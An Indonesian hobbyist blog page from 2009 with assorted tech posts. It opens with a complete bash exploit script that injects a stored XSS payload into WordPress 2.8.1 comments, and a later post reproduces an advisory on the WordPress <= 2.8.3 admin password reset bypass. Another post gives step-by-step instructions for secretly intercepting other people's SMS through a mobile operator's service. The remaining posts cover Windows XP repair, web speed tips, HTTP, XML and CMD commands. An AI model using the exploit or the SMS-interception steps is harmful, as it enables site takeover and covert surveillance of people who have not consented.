23 Oktober 2009

Exploit wordpress new

Jumat, Oktober 23, 2009 by blie dessy · 0 komentar
Label:




Hati2 buat yg make Wordpress, ada exploit baru nih!!
ni codenya :



#!/bin/bash

echo "wp281.quickprz // iso^kpsbr"

SITE=$1
COMMENT=$2
MESSAGE="your message here"

if [ "X$SITE" = "X" ]; then
echo "$0 [postID]"
echo "f.e. $0 fill your web url here"
exit
fi

if [ "X$POSTID" = "X" ]; then
POSTID=1
fi


echo "[+] building payload"

WHERE="title" # can also be 'content'
PATH="$SITE/wp-comments-post.php"

WHERE=`echo -n "$WHERE" | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'`
EVILURL="http://w.ch'onmouseover='document.getElementById(String.fromCharCode($WHERE)).value=this.innerHTML;document.getElementById(String.fromCharCode(112,117,98,108,105,115,104)).click();"
echo "[-] payload is $EVILURL for '$MESSAGE'"

EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
RNDDATA=`/bin/date +%S%s`;

echo "[!] delivering data"
/usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&email=your email&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmless+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH

echo "[X] all done. now wait for admin to mouse-over that name."

READ MORE - Exploit wordpress new

Cara Mengatasi Error di Windows XP Tanpa Install Ulang

Jumat, Oktober 23, 2009 by blie dessy · 0 komentar
Label:



Memperbaiki Instalasi ( Repair Install )

Jika Windows XP Anda rusak (corrupted) dimana Anda tidak mempunyai sistem operasi lain untuk booting,
Anda dapat melakukan perbaikan instalasi (Repair Install) yang bekerja sebagaimana setting (pengaturan)
yang awal. Kemudian …

* Pastikan Anda mempunyai kunci (key) Windows XP yang valid.
* Keseluruhan proses akan memakan waktu kurang lebih 1/2 atau 1 jam, tergantung spek komputer Anda.
* Jika Anda dimintai password administrator, sebaiknya Anda memilih opsi perbaikan (repair) yang kedua,
bukan yang pertama.
* Masukkan CD Windows XP Anda dan lakukan booting dari CD tersebut.
* Ketika sudah muncul opsi perbaikan kedua R=Repair, tekan tombol R
Ini akan memulai perbaikan.
* Tekan tombol F8 untuk menyetujui proses selanjutnya “I Agree at the Licensing Agreement”
* Tekan tombol R saat direktori tempat Windows XP Anda terinstal. Biasanya C:WINDOWS
Selanjutnya akan dilakukan pengecekan drive C: dan mulai menyalin file-file.
Dan secara otomatis restart jika diperlukan. Biarkan CD Anda dalam drivenya.
* Berikutnya Anda akan melihat sebuah gambar “progress bar” yang merupakan bagian dari perbaikan,
dia nampak seperti instalasi XP normal biasanya, meliputi “Collecting Information, Dynamic Update,

Preparing Installation, Installing Windows, Finalizing Installation

* Ketika ditanya, klik tombol Next
* Ketika ditanya untuk memasukkan kunci, masukkan kunci (key) Windows XP Anda yang valid.
* Normalnya Anda menginginkan tetap berada dalam nama Domain atau Workgroup yang sama.
* Komputer akan restart.
* Kemudian Anda akan mempunyai layar yang sama sebagaimana pengaktifan sistem ketika instalasi normal.
* Register jika Anda menginginkannya (biasanya tidak diperlukan).
* Selesai

Sekarang Anda bisa log in dengan account Anda yang sudah ada.


NTOSKRNL Rusak atau Hilang (Missing or Corrupt)

Jika Anda mendapati pesan error bahwa “NTOSKRNL not found” / NTOSKRNL tak ditemukan, lakukan:

* Masukkan CD Windows XP dan booting dari CD tersebut.
* Pada saat muncul opsi R=Repair yang pertama, tekan tombol R.

* Tekan angka sesuai dengan lokasi instalasi Windows yang ingin diperbaiki yang sesuai.
* Biasanya #1
* Pindahlah ke drive CD Drive Anda berada.
* Tulis: CD i386
* Tulis: expand ntkrnlmp.ex_ C:WindowsSystem32
toskrnl.exe
* Jika Windows XP Anda terinstal di tempat lain, maka ubahlah sesuai dengan lokasinya.
* Keluarkan CD Anda dan ketikkan EXIT
* Selesai


HAL.DLL Rusak atau Hilang (Missing or Corrupt)

Jika Anda mendapatkan error berkenaan dengan rusak atau hilangnya file hal.dll, ada kemungkinan
file BOOT.INI mengalami salah konfigurasi (misconfigured).

* Masukkan CD Windows XP dan booting dari CD tersebut.
* Pada saat muncul opsi R=Repair yang pertama, tekan tombol R.
* Tekan angka sesuai dengan lokasi instalasi Windows yang ingin diperbaiki yang sesuai.
* Biasanya #1
* Tulis: bootcfg /list

Menampilkn isi/masukan pada file BOOT.INI saat ini

* Tulis: bootcfg /rebuild

Memperbaiki konfigurasi dari file BOOT.INI

* Keluarkan CD Anda dan ketikkan EXIT


Direktori WINDOWSSYSTEM32CONFIG rusak atau hilang

Jika Anda mendapatkan error dengan tulisan :

“Windows could not start because the following files is missing or corrupt
WINDOWSSYSTEM32CONFIGSYSTEM or WINDOWSSYSTEM32CONFIGSOFTWARE”

* Masukkan CD Windows XP dan booting dari CD tersebut.
* Pada saat muncul opsi R=Repair yang pertama, tekan tombol R.
* Tekan angka sesuai dengan lokasi instalasi Windows yang ingin diperbaiki yang sesuai.
* Biasanya #1
* Masukkan password administrator jika diperlukan.
* Tulis: cd windowssystem32config
* Berikutnya tergantung di bagian mana letak terjadinya kerusakan:
* Tulis: ren software software.rusak ATAU ren system system.rusak
* Berikutnya lagi juga tergantung di bagian mana letak terjadinya kerusakan:
* Tulis: copy windows
epairsystem
* Tulis: copy windows
epairsoftware
* Keluarkan CD Anda dan ketikkan EXIT


NTLDR atau NTDETECT.COM tak ditemukan (NTLDR or NTDETECT.COM Not Found)

Jika Anda mendapati error bahwa NTLDR tak ditemukan saat booting:

1. Untuk partisi tipe FAT

Silakan Anda melakukan booting dari disket Win98 Anda dan salinlah file NTLDR atau NTDETECT.COM
dari direktori i386 ke drive induk/akar (root) C:

2. Untuk partisi tipe NTFS

* Masukkan CD Windows XP dan booting dari CD tersebut.
* Pada saat muncul opsi R=Repair yang pertama, tekan tombol R.
* Tekan angka sesuai dengan lokasi instalasi Windows yang ingin diperbaiki yang sesuai.
* Biasanya #1
* Masukkan password administrator jika diperlukan.
* Masukkan perintah berikut, dimana X: adalah alamat drive dari CD ROM Anda (Sesuaikan!).
* Tulis: COPY X:i386NTLDR C:
* Tulis: COPY X:i386NTDETECT.COM C:
* Keluarkan CD Anda dan ketikkan EXIT

SELESAI, semoga bisa ngebantu yang lainnya :D
READ MORE - Cara Mengatasi Error di Windows XP Tanpa Install Ulang

penyebab FB dan Twitter kadang susah diakses

Jumat, Oktober 23, 2009 by blie dessy · 0 komentar
Label:


Inilah penyebab FB dan Twitter kadang susah diakses - DDOS Attack!

A Georgian blogger with accounts on Twitter, Facebook, LiveJournal and Google's Blogger and YouTube was targeted in a denial of service attack that led to the site-wide outage at Twitter and problems at the other sites on Thursday, according to a Facebook executive.

The blogger, who uses the account name "Cyxymu"

Twitter was down for several hours beginning early Thursday morning, and suffered periodic slowness and time-outs throughout the day.

Intinya Twitter dan Facebook diserang DDOS gara gara ingin menyerang user "Cyxymu" yg punya account di sana... pantesan semalam sekitar jam 23.30, gak bisa buka FB dan twitter.Twitter down... FB juga kadang jadi lambat banget.


Sumber: http://news.cnet.com/8301-27080_3-10305200-245.html

Apa itu DDOS?? http://en.wikipedia.org/wiki/Denial-of-service_attack
READ MORE - penyebab FB dan Twitter kadang susah diakses

TRIK SADAP SMS LEWAT OPERATOR !!

Jumat, Oktober 23, 2009 by blie dessy · 2 komentar
Label:



Terkadang untuk dapat memonitor sebuah pesan diperlukan sedikit cara untuk dapat melakukan hal tersebut. Bisa dengan menggunakan aplikasi penyadap telepon dan sms yang sudah dipost beberapa waktu yang lalu.Anda bisa menggunakan aplikasi SMS Anywhere, Mobiscope Beta, BT Teror, Magic Blue Hack, timedspy, aglaya call magic dan aplikasi lainnya. Nah berikut ini sedikit trick untuk dapat memonitor pesan masuk dengan cara melalui layanan yang telah disediakan oleh salah satu provider di negara kita.


Silahkan anda ikuti langkah-langkah di bawah ini :

Langkah 1
Gunakan simcard XL

Langkah 2
Tekan angka *799# pada keypad handphone anda,kemudian tekan Yes atau Call untuk dapat masuk ke layanan tersebut. Sesaat kemudian,anda akan mendapat balasan dari smsplus XL. Silahkan anda balas dengan mengetikkan angka 3 kemudian tekan angka 1 untuk menyetujui akses layanan tersebut.

Langkah 3
Tunggu beberapa saat agar jaringan dari layanan tersebut menerima konfirmasi balasan dari anda hingga ada notifikasi pesan sms copy your request is being processed.

Langkah 4
Setelah anda menerima notifikasi tersebut,anda akan menerima pesan dari nomor 799 yang menyatakan bahwa anda telah sukses mendaftar. Dalam pesan tersebut anda juga akan menerima sebuah password untuk dapat mengakses layanan tersebut.

Langkah 5
Buka browser anda lalu masuk ke alamat http://life.xl.co.id/message/index.do disertai dengan mencantumkan password dan nomor XL anda sebagai ID-nya.

Langkah 6
Masukkan nomor XL atau nomor lainnya yang ingin anda sadap sms-nya kemudian kirim ke 799,tunggu konfirmasi dari operator bahwa anda telah mengaktifkan terhadap nomor-nomor yang ingin anda sadap tadi
READ MORE - TRIK SADAP SMS LEWAT OPERATOR !!

Cara Mudah Dan Jadul Untuk Mempercepat Akses Internet!!

Jumat, Oktober 23, 2009 by blie dessy · 0 komentar
Label:




Saat anda browsing atau membuka suatu website di internet entah dari warung internet ataupun dari rumah, mungkin anda sering mengeluh akan lambatnya akses untuk menampilkan website tersebut. Padahal akses internet di Indonesia sekarang ini masih terhitung mahal.

Sebenarnya ada cara-cara mudah untuk meningkatkan kecepatan akses internat anda tanpa harus membayar biaya lebih mahal. Beberapa diantaranya adalah dengan menyetting browser kita, menggunakan openDNS, dan menggunakan Google Web Accelerator.Untuk menerapkan trik-trik tersebut sangat mudah.

Cara pertama yaitu menyetting browser dapat dilakukan oleh pengguna Internet Explorer dan Mozilla Firefox. Bagi pengguna Internet Explorer klik menu [Tools] [Internet Option], klik tab [General]. Pada opsi “Temperory Internet files”, klik [Settings] lalu Geser slider-nya. Hal itu untuk membuat cache (lokasi penyimpanan sementara) untuk web yang anda buka, sebaliknya disediakan sekitar 5% dari Hard disk.

Bagi pengguna Mozilla Firefox anda dapat mengetikkan “about:config” pada address bar,. setelah itu ubah “network.http.pipelining” dan “network.http.proxy pipelining” menjadi “true”, serta isi “network.http.pipelining.maxrequests” antara 30 –100 ( semakin besar semakin cepat ). Yang terakhir klik kanan dimana saja dan pilih New->Integer , tuliskan “nglayout.initialpaint.delay” lalu isi dengan 0.

Untuk trik kedua, pertama anda harus mendaftar di www.openDNS.com . Setelah itu masuk ke Control Panel dari start menu, pilih network connections lalu pilih koneksi anda dan klik tombol properties. Pada bagian Internet protokol anda bisa pilih TCP/IP dan klik properties. Masukkan angka 208.67.222.222 dan 208.67.220.220 pada opsi DNS dan restart komputer anda.

Setelah melakukan 2 tips di atas sekarang anda pasti akan mendapat kecepatan akses yang lebih kencang. Bagi yang masih belum puas dengan kecepatan aksesnya sekarang dapat menggunakan trik yang ke tiga yaitu Google Web Accelerator. Google Web Accelerator di desain khusus untuk mempercepat akses internet anda, khususnya anda yang menggunakan koneksi broadband (pita lebar) seperti Cable dan DSL. Untuk anda yang menggunakan koneksi lain seperti Dial-up (Telkomnet Instant atau Speedy) maupun satelit atau wave, Google Web Accelerator juga dapat mempercepat aksesnya.

Untuk memakai Google Web Accelerator anda harus memenuhi kriteria antara lain Operating System anda harus Windows XP atau Windows 2000 dan browser anda harus Internet Explorer 5.5+ atau Mozilla Firefox 1.0+. Kalau untuk browser lainnya sebenarnya juga bisa, tetapi anda harus meng-konfigurasi proxy settings dari browser anda dengan menambah 127.0.0.1:9100 pada HTTP. Setelah anda melakukan instalasi, Google Web Accelerator akan menampilkan icon kecil di atas browser anda dan icon tray di pojok bawah layar komputer.

Anda dapat mengunduh Google Web Accelerator di http://www.brothersoft.com/google-web-accelerator-61194.html
READ MORE - Cara Mudah Dan Jadul Untuk Mempercepat Akses Internet!!

Apa Itu HTTP??

Jumat, Oktober 23, 2009 by blie dessy · 0 komentar
Label:



HTTP... Siapa yang tidak mengenalnya? Konon, hampir semua orang yang pernah, sempat, sedang, ataupun terus menikmati indahnya dunia web, pasti pernah mendengar bahkan menggunakan kata itu, betul?

Untuk sekedar menyenangkan hati, anggap saja pernyataan kami diatas itu betul. Dan untuk mempersingkat jarak, mari... kita anggap saja hampir semua orang sudah tahu singkatan dari apa HTTP itu, yep... HyperText Transfer Protocol. Jadi... HTTP itu bukan singkatan dari... Hamil Tapi Tetap Pasrah.

Tapi... apa kita semua sudah tahu apa sebenarnya HTTP itu? Dan... bagaimana cara kerjanya?

Nah, agar kita lebih mengerti apa sebenarnya HTTP itu, dan bagaimana cara kerjanya, untuk itu... ijinkanlah kami pada kesempatan ini untuk sedikit bercerita kepada mu. Mudah-mudahan, dari cerita kami yang singkat ini, kita semua diberikan kemudahan dalam menempuh setiap cobaan, amin...

Konon, menurut para pakar yang ahli dibidangnya masing-masing... HTTP itu adalah suatu bentuk protokol umum, yang digunakan oleh server dan client untuk berkomunikasi di dunia web. Komunikasi ini terjadi dalam bentuk request dan response. Jadi, kalo sang client merequest, maka sang server akan merespons.

Response apa yang akan diberikan oleh sang server, sangat bergantung dari request (permintaan) dari sang client. Misalnya, sang client merequest sebuah halaman web (html), maka sang server akan merespon dengan cara mengirimkan isi dari halaman web yang diminta oleh sang client tadi.

Atau... bisa juga sang client tadi meminta (merequest) sebuah gambar. Maka sang server akan merespons dengan cara mengirimkan gambar tersebut. Begitu juga saat sang client meresquest file-file lain (video, MP3, program, etc). Singkat kata, respon apa yang akan diberikan oleh server, sangat bergantung dari request yang dilakukan oleh client.

Nah, agar sang server mengerti bagaimana harus merespon, juga agar sang client mengerti bagaimana harus merequest, untuk itulah dibutuhkan saling pengertian yang mendalam antara keduanya. Dalam arti kata, keduanya harus berbicara dengan bahasa yang sama. Kenapa harus sama?

Begini... Coba kau bayangkan apa yang kira-kira akan terjadi saat seorang mafia dari Rusia yang sama sekali tidak bisa berbahasa selain bahasa Rusia, minta diantar ke hotel pada seorang tukang becak yang sama sekali tidak mengerti bahasa selain bahasa Indonesia?

Pilih jawaban yang menurut mu paling masuk akal:

1. Mereka akan saling memaki.
2. Mereka akan saling membenci.
3. Mereka akan saling membodohi.
4. Mereka akan saling berbagi.

Jawaban manapun yang akan kau pilih, itu adalah hak mu. Tapi menurut kami, jawaban yang paling tepat adalah... mereka akan saling tidak mengerti. Yup, jawaban itu memang sengaja tidak kami sertakan diatas. Itu kami lakukan semata-mata demi menjamin bahwa jawaban yang akan kami kemukakan adalah selalu jawaban yang benar.

Nah, dari contoh diatas, kita jadi mulai sedikit mengerti kenapa HTTP diperlukan, betul? Permasalah seperti contoh diatas, rupanya secara sengaja telah terpikirkan juga oleh orang-orang yang bekerja di dunia web. Mereka akhirnya memutuskan untuk mencari bahasa yang bisa mempersatukan antara server dengan client di dunia web.

Maka lahirlah HTTP. Konon, HTTP ini sebenarnya bukanlah murni sebuah species baru. Melainkan, hasil dari pengembangan dari species sebelumnya, yaitu FTP atau File Transfer Protocol. Tapi... kira-kira... kenapa ya, para ahli dan pakar internet itu merasa perlu untuk mengembangkan species FTP?

Menurut kebiasaan, biasanya... bila suatu spesies ingin dikembangkan, pasti karena spesies tersebut memiliki kekurangan yang ingin diperbaiki. Tapi... apa kira-kira kekurangan dari FTP? Apa karena FTP itu kurang jantan? Kurang perkasa? Kurang bergairah? Kurang bijaksana? Kurang harta? Nafsu makannya berkurang, sedangkan nafsu berahinya terus bertambah, sehingga mengakibatkan hilangnya keseimbangan dalam setiap tindak tanduknya?

Nope, meski FTP memang memiliki kekurangan, tapi kekurangannya itu bukanlah berupa aib yang ingin ditutup-ditutupi. Kekurangan yang dimiliki oleh FTP itu antara lain karena FTP itu dianggap cukup rumit untuk di gunakan oleh orang yang masih awam dengan dunia networking dan segala protocollernya.

Nah, dengan memanfaatkan kekurangan-kekurangan yang terdapat dalam FTP, para pakar yang katanya tadi ahli dibidangnya, kemudian mulai merancang sebuah protocol baru, yaitu HTTP. Dengan sekuat tenaga, akhirnya mereka berhasil menciptaken sebuah protokol baru yang lebih sederhana dari FTP.

Tidak seperti protokol FTP yang memiliki banyak perintah dan cukup rumit untuk dimengerti, HTTP memiliki perintah yang lebih sedikit dan lebih mudah untuk dipahami. Apa saja perintah atau biasa di sebut dengan syntax HTTP itu?

Berikut ini syntax-nya:

* GET - Syntax atau perintah ini digunakan untuk meminta atau merequest sebuah objek dari server. Objek ini bisa berupa halaman web, dokumen, file, dan lain-lain. Format penulisan syntax ini adalah sebagai berikut:

GET Request-URI Version

Dimana Request-URI adalah alamat web dari objek yang ingin direquest. Sedangkan Version, adalah versi dari protokol HTTP yang digunakan.

Contohnya, GET www.google.com HTTP/1.1

Itu artinya, sang client sedang merequest halaman utama yang ada di server Google. Sedangkan HTTP/1.1, adalah versi dari protokol HTTP yang digunakan. Maka, sang server akan merespon dengan cara memberitahu mengenai status keberadaan dari objek yang diminta

Status ini berupa angka-angka yang bisa dimengerti oleh client. Misalnya angka 200 untuk menunjukkan bahwa objek tersebut ada. Atau angka 404 untuk memberitahukan bahwa objek tersebut tidak ditemukan di dalam server. Selain informasi status, server juga mengirimkan isi dari objek bersangkutan (bila ada.)

* HEAD - Perintah ini digunakan untuk meminta atau merequest meta-information dari sebuah objek yang ada di server. Format penulisannya adalah sebagai berikut:

HEAD Request-URI Version

Contohnya, HEAD www.google.com HTTP/1.1

Koq mirip dengan perintah GET ya? Lalu, apa bedanya dengan GET tadi?

Yep, perintah HEAD memang mirip dengan GET. Bedanya, kalo menggunakan perintah GET, maka seluruh isi objek yang direquest akan dikirimkan oleh server. Sedangkan kalo menggunakan perintah HEAD, hanya informasi yang terdapat dalam META TAG saja yang akan dikirimkan oleh server.

* PUT - Perintah ini adalah kebalikan dari perintah GET. Maksudnya, kalo GET digunakan oleh client untuk meminta dan mengambil sebuah objek dari server (download), sedangkan perintah PUT digunakan untuk mengirimkan dan menempatkan objek dari client ke server (upload). Format penulisannya hampir mirip:

PUT Request-URI Version

Contohnya: PUT /gambar1.jpg HTTP/1.1

Maksud dari perintah diatas adalah sang client tadi meminta ijin kepada server untuk mengirimkan dan menempatkan sebuah file gambar ke server. Lalu responnya? Itu bergantung dari sang server. Jika memang server tersebut mengijikan client untuk mengupload file, maka file tadi akan disimpan kedalam server.

* POST - Perintah ini hampir mirip dengan perintah PUT. Bedanya, perintah ini biasanya digunakan untuk mengirimkan objek-objek yang butuh penanganan lebih lanjut dari server. Contohnya form isian.

Misalnya saat kamu selesai mengisi form pendaftaran dari suatu situs, maka saat kamu telah selesai mengisi dan ingin mengirimkannya dengan cara mengklik tombol yang disediakan, maka perintah PUT inilah di yang sebenarnya digunakan untuk mengirimkan data tersebut ke server.

Format penulisan perintah ini adalah:

POST Request-URI Version

Contohnya: POST /sign-up.html HTTP/1.1

* DELETE - Yep, perintah ini digunakan untuk meminta server agar menghapus suatu objek. Format penulisannya juga sama seperti saudaranya yang lain, yaitu:

DELETE Request-URI Version

Sebagai contoh: DELETE /Images/gambar1.jpg HTTP/1.1. Hasilnya? Jika server bersangkutan memang memberikan ijin untuk menghapus, maka file gambar1.jpg yang ada di folder images akan dihapus dari server. Jika tidak di ijinkan? Tentu saja file itu tidak akan terhapus.

Nah, cuma itu perintah-perintah yang ada dalam protokol HTTP. Sederhana bukan? Tapi kamu jangan sampai tertipu dengan kesederhanaan perintah-perintah tersebut. Meski sepertinya sederhana, tapi berkat perintah atau syntax-syntax itulah, kamu bisa menikmati apa yang selama ini kamu lihat dan rasakan di dunia web (internet).

Kamu juga mungkin tidak pernah melihat atau merasa menggunakan perintah-perintah ini saat mengakses internet. Padahal sebenarnya perintah-perintah inilah yang kamu gunakan saat sedang bermain-main di dunia web. Tapi, kenapa kamu sampai merasa tidak melihat atau tidak menggunakannya? Kenapa hayooo...?

Yup, itu semua berkat browser yang kamu gunakan. Berkat browser-browser (Internet Explorer, Firefox, Opera, etc) itulah, kamu jadi tidak perlu mengetahui, memahami, bahkan melihat perintah-perintah diatas tadi. Semuanya sudah dihandle oleh browser. Kamu tinggal mengetikkan alamat web, atau mengklik tombol.

Jika memang semuanya sudah dihandle browser, lalu apa gunanya dong, tahu segala macam perintah itu?

Banyak... banyak gunanya bung. Kau akan merasakan manfaatnya saat menggunakan program internet yang masih berbasis text. Terutama saat menggunakan LINUX. Percaya deh, suatu saat nanti, kau pasti akan sangat bersyukur karena pernah mengetahui perintah-perintah ini, DIJAMIN!!!
READ MORE - Apa Itu HTTP??

Apa Itu XML??

Jumat, Oktober 23, 2009 by blie dessy · 2 komentar
Label:



Apa itu XML? Dan kenapa? Apa keistimewaannya? Kenapa bukan XL saja? Kenapa harus ada huruf M? Kenapa ketiga-tiganya harus digunakan? Apa tidak cukup dengan yang berukuran L saja? Atau M saja? Atau X saja? Kenapa manusia begitu serakah sehingga rela menggabungkan ketiga ukuran itu, lalu menjadikannya sebuah format dokumen yang baru? Kenapaaaaa....?

Dan untuk menjawab pertanyaan-pertanyaan aneh seperti itulah... artikel ini kami buat-buat. Dan kami memang sengaja membuat artikel ini menjadi sedikit aneh dan bertele-tele. Kenapa? Itu tidak lain dan tidak bukan disebabkan karena kami sadar sesadar-sadarnya... masih banyak umat manusia di dunia ini yang hingga kini masih sama sekali belum mengenal, apalagi menyadari betapa berharga dan bermanfaatnya XML itu.

Padahal saat ini... sudah sangat banyak sekali industri-industri yang telah berhasil menemukan, menggunakan, memanfaatkan, dan merasakan keajaiban dan kehebatan XML. Dunia blogging contohnya. Ga percaya? Baik... apa kau punya blog di blogspot? Pernah mengganti templatenya? Coba perhatikan formatnya, XML bukan? Contoh lain... apa kau termasuk salah satu penggemar RSS? Pernah memperhatikan format yang digunakan oleh RSS? XML bukan?

Nah... sudah terbukti bukan? Contoh-contoh tadi rasanya sudah dapat memberikan sedikit gambaran mengenai industri-industri yang telah memanfaatkan XML.

Disadari atau tidak, secara langsung atau tidak langsung, mungkin kita pernah merasakan betapa nikmatnya dapat bersentuhan dengan format XML. Nah, tidakkah kau ingin mengenal lebih dekat dengannya? Tidakkah kau juga ingin bisa memanfaatkannya?... Tidak?

Meski bibir mu berkata tidak, tapi kami yakin hati mu berkata lain. Keyakinan itu kami dapat berdasarkan fakta bahwa bibir tak selalu kompak dengan hati. Maka dari itu, kami memaksakan diri untuk tetap bercerita panjang lebar mengenai XML. Begini ceritanya...

Sebagai internet maniak, kamu mungkin sudah sangat akrab dengan HTML, betul? Dan sebagai internet marketer, kamu juga mungkin sudah sangat akrab dengan kegagalan, betul? Dan sebagai internet maketer yang gagal, kamu pasti sudah akrab dengan keputus-asaan, betul? Dan sebagai seorang yang putus asa, kamu pasti merasa sangat dekat dengan kematian, betul? Nah... sekarang, coba jawab, apa hubungan semua pertanyaan itu dengan XML?

Yup, kamu betul, jika kita coba dan paksa menghubungkannnya, maka kita bisa melihat adanya hubungan dan keterkaitan yang erat antara semua pertanyaan itu, dengan XML, contohnya hubungan antara HTML dengan XML. Tahukah engkau teman, bahwasanya HTML dan XML itu sebenarnya berasal dari satu garis keturunan yang sama, yaitu keluarga besar Markup Languange.

Coba perhatikan kesamaan yang terdapat pada dua huruf terakhir dari HTML dan XML... yup... yaitu ML, yang diambil secara paksa dari singkatan Markup Languange atau Bahasa Markup. Dan sebagai dua jenis bahasa yang memilki garis keturunan yang sama, maka mau tidak mau, mengakui atau tidak mengakui, berarti mereka sebenarnya berasal dari induk bahasa yang sama, yaitu Standard Generalized Markup Language atau disingkat SGML.

Akan tetapi... however... meski mereka berasal dari satu induk yang sama, tentu saja mereka tetap harus memiliki perbedaan, betul? Tidak seperti saudaranya (HTML) yang memiliki tag atau syntax-syntax yang telah di defenisikan, format XML tidak memiliki predefined tag atau tag yang telah didefinisikan. Itu artinya, kamu, dia, kalian, dan mereka, atau siapapun yang ingin membuat dokumen XML, bebas untuk membuat tag-nya sendiri.

Gimana? Makin bingung? Tenaaaang... jangan putus asa dulu kawan.... jalan kita masih panjang. Untuk sedikit mengurangi kebingungan mu itu, coba kita ingat-ingat lagi cerita fiktif kita mengenai HTML. Disitu diceritaken bahwa, dokumen yang berformat HTML itu menggunakan tag-tag tertentu untuk membuat struktur, memformat tampilan, dan menampilkan isinya, betul?

Contohnya untuk membuat paragraph, HTML akan menggunakan format "p". Atau tag "b".untuk mencetak tebal, dan seterusnya, betul? Nah, sedangkan XML tidak memiliki tag-tag seperti itu. XML membebaskan mu untuk membuat tag mu sendiri, asalkan tetap menuruti aturan-aturan yang telah ditentukan. Itulah sebabnya kenapa kau mungkin sering menemukan dokumen XML yang tag-nya sangat jauh berbeda antara satu dengan yang lain.

Dan tidak seperti tag-tag HTML yang berfungsi sebagai perintah untuk browser tentang bagaimana suatu dokumen HTML harus ditampilkan, tag-tag XML hanya berfungsi sebagai pemisah, yup... PEMISAH. Yaitu memisahkan antara Data dengan Context. Tag-tag XML tidak lain dan tidak bukan hanya berfungsi untuk menunjuk dan mendefinisikan struktur dari suatu dokumen XML.

Untuk lebih jelasnya... misalkan begini... Katakanlah kau ingin membuat katalog yang berisi tidak kurang dari 10.000 koleksi eBook mu. Di dalam katalog itu, kau ingin mendata dan mengelompokkan setiap eBook berdasarkan:

* Judul
* Penulis
* Penerbit
* Harga
* Tema
* ISBN

Setelah itu, kau ingin menampilkan... dan bahkan jika memungkinkan... menjualnya melalui website atau blog mu. Nah, pertanyaannya... bagaimana kau bisa melakukannya dengan mudah? Coba kau bayangkan bagaimana seandainya kau melakukan itu hanya dengan menggunakan format HTML biasa. Sangat melelahkan bukan?

Tapi berkat XML, pekerjaan mu itu jadi jauh lebih ringan. Dengan XML, pekerjaan-pekerjaan seperti contoh diatas jadi lebih mudah untuk dilakukan. Dengan XML, kamu bisa mendata dan mengelompokkan, dan menyortir eBook-eBook itu dengan cepat dan mudah. Yaitu dengan cara membuat kode-kode seperti contoh dibawah ini:

.
Belajar Internet.
Qjoko Blo'on.
PT. Rindu Order.
Rp. 50.000.
Marketing.
1129450.
.

Coba perhatikan contoh kode atau tag-tag XML diatas, lalu bandingkan dengan tag-tag HTML, sudah bisa melihat perbedaannya? Masih belum? Masih bingung dan belum bisa menemukan perbedaan antara HTML dengan XML? Masih belum bisa menemukan keistimewaan yang dimiliki oleh XML? Kalo begitu... tetaplah disini... kami akan membahasnya lebih banyak di episode berikutnya.
READ MORE - Apa Itu XML??

Bug/hole Wordpress Terbaru

Jumat, Oktober 23, 2009 by blie dessy · 0 komentar
Label:


Hati2 Buat Yg Pake Wordpress !!

I. VULNERABILITY
-------------------------
WordPress <= 2.8.3 Remote admin reset password

II. BACKGROUND
-------------------------
WordPress is a state-of-the-art publishing platform with a focus on
aesthetics, web standards, and usability. WordPress is both free and
priceless at the same time. More simply, WordPress is what you use when
you want to work with your blogging software, not fight it.

III. DESCRIPTION
-------------------------
The way Wordpress handle a password reset looks like this:
You submit your email adress or username via this form /wp-login.php?action=lostpassword ;
Wordpress send you a reset confirmation like that via email:

"
Someone has asked to reset the password for the following site and username.
http://DOMAIN_NAME.TLD/wordpress
Username: admin
To reset your password visit the following address, otherwise just
ignore this email and nothing will happen

http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag
"

You click on the link, and then Wordpress reset your admin password, and
sends you over another email with your new credentials.

Let's see how it works:


wp-login.php:
...[snip]....
line 186:
function reset_password($key) {
global $wpdb;

$key = preg_replace('/[^a-z0-9]/i', '', $key);

if ( empty( $key ) )
return new WP_Error('invalid_key', __('Invalid key'));

$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
if ( empty( $user ) )
return new WP_Error('invalid_key', __('Invalid key'));
...[snip]....
line 276:
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();

if ( isset($_GET['key']) )
$action = 'resetpass';

// validate action so as to default to the login screen
if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )
$action = 'login';
...[snip]....

line 370:

break;

case 'resetpass' :
case 'rp' :
$errors = reset_password($_GET['key']);

if ( ! is_wp_error($errors) ) {
wp_redirect('wp-login.php?checkemail=newpass');
exit();
}

wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
exit();

break;
...[snip ]...

You can abuse the password reset function, and bypass the first step and
then reset the admin password by submiting an array to the $key
variable.



READ MORE - Bug/hole Wordpress Terbaru

List CMD command di Windows

Jumat, Oktober 23, 2009 by blie dessy · 0 komentar
Label:


silakan dicoba...

ADDUSERS - Memasukkan/ menambah user ke/dari file CSV.
ARP - Address Resolution Protocol
ASSOC Change - file extension associations
ASSOCIAT - One step file association
AT Schedule - Perintah untuk membuat shedule program (utk dijalankan kemudian waktu)
ATTRIB - Mengganti atribut file
BOOTCFG - Edit boot setting windows
BROWSTAT - Mencari info domain,browser dan PDC
CACLS - Mengganti/mengubah file permissions
CALL - Memanggil sebuah program batch
CD - Memindahkan ke sebuah folder tertentu.
CHANGE - Mengubah Properties pada Terminal Server
CHKDSK - Memeriksa dan memperbaiki file system
CHKNTFS - Memeriksa NTFS file system
CHOICE - Menerima input keyboard ke dalam sebuah batch file
CIPHER - Encrypt-Decrypt files/folders
CleanMgr - Membersihkan secara otomatis Temporary files, recycle bin
CLEARMEM - Membersihkan memory
CLIP - meng-Copy STDIN ke Windows clipboard.
CLS - Membersihkan layar CMD
CLUSTER - Windows Clustering
CMD - Membuka layar CMD/ command prompt
COLOR - Mengganti warna pada window CMD
COMP - Membandingkan isi dari 2 atau lebih file
COMPACT - kompres file/folder di dalam partisi NTFS
COMPRESS - kompres file individu di dalam partisi NTFS
